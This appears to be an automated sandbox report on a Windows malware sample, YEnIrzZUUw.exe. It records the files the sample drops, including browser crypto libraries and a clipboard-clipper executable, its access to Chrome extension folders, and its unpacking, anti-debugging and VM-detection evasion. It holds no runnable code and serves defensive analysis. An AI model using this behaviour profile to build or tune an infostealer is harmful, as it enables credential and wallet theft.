Jump to behavior

Source: YEnIrzZUUw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: YEnIrzZUUw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: YEnIrzZUUw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: YEnIrzZUUw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: YEnIrzZUUw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: YEnIrzZUUw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: YEnIrzZUUw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: YEnIrzZUUw.exe, 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: C:\vivuxaju.pdb source: YEnIrzZUUw.exe
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: YEnIrzZUUw.exe, 00000000.00000002.2266689058.000000006CB1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: YEnIrzZUUw.exe, 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: M:\DATA\Projects\BitClipper2017\Release\BitClipper2017.pdb source: IDBAKKECAE.exe, 00000007.00000000.2130873887.000000000059C000.00000002.00000001.01000000.00000009.sdmp, IDBAKKECAE.exe, 00000007.00000002.4164416328.000000000059C000.00000002.00000001.01000000.00000009.sdmp, tiktok[1].exe.0.dr, IDBAKKECAE.exe.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: YEnIrzZUUw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: YEnIrzZUUw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: YEnIrzZUUw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: YEnIrzZUUw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: YEnIrzZUUw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Unpacked PE file: 0.2.YEnIrzZUUw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Unpacked PE file: 0.2.YEnIrzZUUw.exe.400000.0.unpack

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00416240

Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_004176C5 push ecx; ret	0_2_004176D8
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6C91B536 push ecx; ret	0_2_6C91B549
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00588856 push ecx; ret	7_2_00588869
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058834B push ecx; ret	7_2_0058835E

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

0_2_00416240

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58922

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

Stalling execution: Execution stalls by calling Sleep

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Window / User API: threadDelayed 763			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Window / User API: threadDelayed 9235			Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

API coverage: 5.6 %

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe TID: 8008	Thread sleep count: 763 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe TID: 8008	Thread sleep time: -542493s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe TID: 8008	Thread sleep count: 9235 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe TID: 8008	Thread sleep time: -6566085s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,LoadLibraryA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00401120 GetSystemInfo,ExitProcess,

0_2_00401120

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<u
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58907
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58910
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58927
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-59943
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58920
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58928
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58951
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	API call chain: ExitProcess graph end node	graph_0-58740
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00402130 LdrInitializeThunk,

0_2_00402130

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00417B4E

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

0_2_00416240

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00415DC0 mov eax, dword ptr fs:[00000030h]		0_2_00415DC0
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_0058E8F6 mov eax, dword ptr fs:[00000030h]		7_2_0058E8F6

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00419DC7 SetUnhandledExceptionFilter,	0_2_00419DC7
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417B4E
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004173DD
